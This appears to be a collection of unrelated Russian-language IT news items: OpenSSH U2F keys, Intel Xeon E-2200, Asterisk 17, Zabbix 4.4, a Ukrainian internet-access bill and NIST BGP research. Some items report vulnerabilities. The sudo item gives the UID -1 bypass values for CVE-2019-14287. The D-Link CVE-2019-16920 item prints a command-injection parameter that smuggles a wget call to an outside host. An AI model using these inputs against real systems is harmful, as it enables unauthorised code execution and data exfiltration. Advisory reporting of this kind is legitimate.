В кодовую базу OpenSSH добавлена экспериментальная поддержка двухфакторной аутентификации с использованием устройств, поддерживающих протокол U2F, развиваемый альянсом FIDO. U2F позволяет создавать недорогие аппаратные токены для подтверждения физического присутствия пользователя, взаимодействие с которыми производится через USB, Bluetooth или NFC. Подобные устройства продвигаются в качестве средства для двухфакторной аутентификации на сайтах, уже поддерживаются основными браузерами и выпускаются различными производителями, включая Yubico, Feitian, Thetis и Kensington.

Для взаимодействия с устройствами, подтверждающими присутствие пользователя, в OpenSSH добавлен новый тип ключей "sk-ecdsa-sha2-nistp256@openssh.com" ("ecdsa-sk"), в котором используется алгоритм цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm) с эллиптической кривой NIST P-256 и хэшем SHA-256. Процедуры взаимодействия с токенами вынесены в промежуточную библиотеку, которая загружается по аналогии с библиотекой для поддержки PKCS#11 и является обвязкой над библиотекой libfido2, предоставляющей средства для коммуникации с токенами поверх USB (поддерживается протоколы FIDO U2F/CTAP 1 и FIDO 2.0/CTAP 2). Подготовленная разработчиками OpenSSH промежуточная библиотека libsk-libfido2 включена в основной состав libfido2, как и HID-драйвер для OpenBSD.

Intel официально выпустила линейку процессоров Xeon E-2200, рассчитанных на использование в серверах и рабочих станциях начального уровня. Формальный анонс этого семейства состоялся ещё на выставке Computex 2019. Новинки родственны настольным 14-нм чипам Coffee Lake-S Refresh, на фоне которых они выделяются поддержкой ECC-памяти, и совместимы с материнскими платами LGA1151-v2 на базе логики Intel C242 или C246.

!) lora - добавлена поддержка технологии LoRaWAN (low-power wide-area network) дла MIPSBE, MMIPS и ARM;
!) package - прием пакетов только с оригинальными названиями файлов (CVE-2019-3976);
!) package - улучшена проверка подписей пакетов (CVE-2019-3977);
!) security - исправлено неправильная обработка DNS ответов (CVE-2019-3978, CVE-2019-3979);

После года разработки состоялся релиз новой стабильной ветки открытой коммуникационной платформы Asterisk 17, используемой для развёртывания программных АТС, систем голосовой связи, VoIP-шлюзов, организации IVR-систем (голосовое меню), голосовой почты, телефонных конференций и call-центров. Исходные тексты проекта доступны под лицензией GPLv2.

Asterisk 17 отнесён к категории выпусков с обычной поддержкой, обновления для которых формируются в течение двух лет. Поддержка прошлой LTS-ветки Asterisk 16 продлится до октября 2023 года, а ветки Asterisk 13 до октября 2021 года. При подготовке LTS-выпусков основное внимание уделяется обеспечению стабильности и оптимизации производительности, приоритетом же обычных выпусков является наращивание функциональности.

Профильный комитет Верховной Рады по вопросам цифровой трансформации предложил сделать доступ к интернету универсальной услугой для населения.

Об этом говорится в законопроекте №2264 Об электронных коммуникациях, опубликованном на сайте Верховной Рады.

Что предлагают:

Кроме голосовой связи, сделать общедоступной услугу широкополосного доступа в интернет.
Услуга должна будет обеспечивать пропускную способность, необходимую для поддержки доступа потребителей к таким сервисам:

• электронная почта;
• поисковые системы, позволяющие искать и находить любой вид информации;
• обучение в Интернете;
• интернет – газеты или новости;
• сервис, помогающий покупать или заказывать товары или услуги в режиме онлайн;
• интернет-банкинг;
• доступ к услугам электронного управления;
• социальные медиа и мгновенные сообщения;
• звонки и видеозвонки (стандартного качества).

В утилите Sudo, используемой для организации выполнения команд от имени других пользователей, выявлена уязвимость (CVE-2019-14287), которая позволяет добиться выполнения команд с правами root, при наличии в настройках sudoers правил, в которых в секции проверки идентификатора пользователя после разрешающего ключевого слова "ALL" следует явный запрет запуска с правами root ("... (ALL, !root) ..."). В конфигурациях по умолчанию в дистрибутивах уязвимость не проявляется.

При наличии в sudoers допустимых, но крайне редко встречающихся на практике правил, разрешающих выполнение определённой команды под UID-идентификатором любого пользователя, кроме root, атакующий, имеющий полномочия выполнения данной команды, может обойти установленное ограничение и выполнить команду с правами root. Для обхода ограничения достаточно попытаться выполнить указанною в настройках команду с UID "-1" или "4294967295", что приведёт к её выполнению с UID 0.

После 6 месяцев разработки доступна новая версия системы мониторинга Zabbix 4.4, код которой распространяется под лицензией GPLv2. Zabbix состоит из трёх базовых компонентов: сервера для координации выполнения проверок, формирования проверочных запросов и накопления статистики; агентов для осуществления проверок на стороне внешних хостов; фронтэнда для организации управления системой.

Для снятия нагрузки с центрального сервера и формирования распределённой сети мониторинга может быть развёрнута серия прокси-серверов, агрегирующих данные о проверке группы хостов. Данные могут храниться в СУБД MySQL, PostgreSQL, TimescaleDB, DB2 и Oracle. Без агентов Zabbix-сервер может получать данные по таким протоколам как SNMP, IPMI, JMX, SSH/Telnet, ODBC, проводить тестирование доступности Web-приложений и систем виртуализации.

В беспроводных маршрутизаторах D-Link выявлена опасная уязвимость (CVE-2019–16920), позволяющая удалённо выполнить код на стороне устройства через отправку специального запроса к обработчику "ping_test", доступному без прохождения аутентификации.

Интересно, что по задумке разработчиков прошивки вызов "ping_test" должен выполняться только после аутентификации, но на деле он вызывается в любом случае, независимо от входа в web-интерфейс. В частности, при обращении к скрипту apply_sec.cgi с передачей параметра "action=ping_test", скрипт перебрасывает на страницу аутентификации, но при этом выполняет связанное с ping_test действие. Для выполнения кода использована ещё одна уязвимость в самом ping_test, который вызывает утилиту ping без должной проверки корректности переданного для тестирования IP-адреса. Например, для вызова утилиты wget и передачи на внешний хост результатов выполнения команды "echo 1234" достаточно указать параметр
 

ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://test.test/?$(echo 1234)

Специалисты Национального института стандартов и технологий США (US National Institute for Standards and Technology, NIST) работают над технологией защиты от перехвата BGP, базирующейся на искусственном интеллекте.

Border Gateway Protocol (BGP) является ключевым протоколом интернета, к сожалению, открытым для злоупотребления. Злоумышленники могут с легкостью заставить сети передавать трафик туда, куда им нужно с целью слежения за пользователями, фишинга и пр. Хотя во многих случаях переадресация трафика происходит случайно из-за технических ошибок, за последние несколько лет злоумышленники не раз злоупотребляли BGP в крупномасштабных атаках.

Утечка маршрутов BGP происходит, когда оператор сети ошибочно объявляет блок IP-адресов другой сети. Проблема заключается в том, что определить, произошел инцидент случайно или кто-то вызвал утечку намеренно, невозможно. Даже если все указывает на злонамеренность, трафик может идти по неверному маршруту в течение нескольких часов, пока ситуация не будет исправлена.